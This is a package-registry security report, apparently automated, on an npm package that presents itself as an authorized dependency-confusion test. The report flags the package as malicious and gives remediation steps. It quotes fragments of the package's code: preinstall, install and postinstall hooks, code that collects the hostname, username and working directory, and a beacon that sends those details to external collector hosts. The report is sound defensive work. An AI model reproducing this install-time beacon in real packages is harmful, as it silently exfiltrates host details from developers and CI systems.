registry / Data exfiltration / @myorder-frontend-commons/analytics / 1.0.0

@myorder-frontend-commons/analytics@1.0.0

AUTHORIZED security research PoC (dependency-confusion test for Allegro, with written permission from Allegro Cybersecurity). Harmless: emits a single host-identification beacon on install to confirm code execution in the build/CI environment, then exits.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The manifest activates poc.js automatically during installation, and the source confirms collection and transmission of host-identifying data to external collectors. This is an unconsented installation beacon, so block publication.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Package installation through preinstall, install, or postinstall.

Impact

The collector can identify the host and user and learn that the package ran in the build or CI environment.

Mechanism

poc.js collects host, user, platform, and working-directory details, then sends them in HTTP requests to researcher-controlled collectors.

Attack narrative

Installing the package automatically runs the same beacon from three lifecycle hooks. It sends host, user, platform, and working-directory identifiers to researcher-controlled external collectors. The package's research-purpose claims do not establish consent from each installer.

AI rationale

Evidence

package.jsonpoc.js

Network endpoints2

db4jftohu4noreqdanngpnb3ger45ykrt.oast.fun (with an encoded host label prefix)80-190-83-27.nip.io

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs poc.js during preinstall, install, and postinstall.
poc.js records the lifecycle event that triggered it.
poc.js collects the host name, user name, platform, and working directory.
poc.js sends HTTP GET requests to the selected collector hosts.
poc.js supplies researcher-controlled default collectors and calls both beacons automatically.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.74 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node poc.js", "install": "node poc.js", "postinstall": "node poc.js" }, "keywords": [ "security

High

Suspicious Lifecycle Evidence

package.json runs poc.js during preinstall, install, and postinstall.

package.jsonView on unpkg · L6

poc.jsView file

•matchType = malicious_source_fingerprint_signature signature = 792537aeadbf189f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @myorder-frontend-commons/analytics@0.1.0 matchedPath = poc.js matchedIdentity = npm:[redacted]:0.1.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

poc.jsView on unpkg

43var info = { poc: TOKEN, trigger: process.env.npm[redacted] || 'manual', // preinstall | postinstall | install ... pkg: '@myorder-frontend-commons/analytics', pkgVersion: safe(function () { return require('./package.json').version;

High

Suspicious Lifecycle Evidence

poc.js records the lifecycle event that triggered it.

poc.jsView on unpkg · L43

48hostname: safe(function () { return os.hostname(); }, '?'), user: safe(function () { return os.userInfo().username; }, '?'), platform: safe(function () { return os.platform() + '-' + os.arch() + '-' + os.release(); }, '?'), cwd: safe(function () { return process.cwd(); }, '?'), node:

High

Ai Review Evidence

poc.js collects the host name, user name, platform, and working directory.

poc.jsView on unpkg · L48

68function beacon(host) { try { var req = http.get( { host: host, port: 80, path: path, timeout: 4000, headers: { 'User-Agent': 'allegro-dc-poc/1.0 (authorized security test)' } }, function (res) { res.resume(); } ); req.on('error', function () {}); req.on('timeout', function () { req.destroy(); }); } catch (e) { /* n

High

Ai Review Evidence

poc.js sends HTTP GET requests to the selected collector hosts.

poc.jsView on unpkg · L68

25// Researcher-controlled collectors. var OOB = process.env.POC_CALLBACK_DOMAIN || '[redacted].oast.fun'; // interactsh (DNS+HTTP) var BACKUP = process.env.POC_BACKUP_HOST || '80-190-83-27.n

High

Ai Review Evidence

poc.js supplies researcher-controlled default collectors and calls both beacons automatically.

poc.jsView on unpkg · L25

80beacon(label + '.' + OOB); // primary: interactsh (catches DNS even if HTTP blocked) beacon(BACKUP); // backup:

High

Ai Review Evidence

poc.js supplies researcher-controlled default collectors and calls both beacons automatically.

poc.jsView on unpkg · L80

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node poc.js", "install": "node poc.js", "postinstall": "node poc.js" }, "keywords": [ "security

High

Suspicious Lifecycle Evidence

package.json runs poc.js during preinstall, install, and postinstall.

package.jsonView on unpkg · L6

poc.jsView file

High

Known Malware Source Fingerprint Signature

Findings

8 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturepoc.js

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepoc.js

HighAi Review Evidencepoc.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @myorder-frontend-commons/analytics@1.0.0.

See all versions of @myorder-frontend-commons/analytics for other recorded verdicts.

Avoid installing @myorder-frontend-commons/analytics@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-13 23:00:04.836Z (UTC).

Source advisory published: 2026-10-09 19:31:38.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages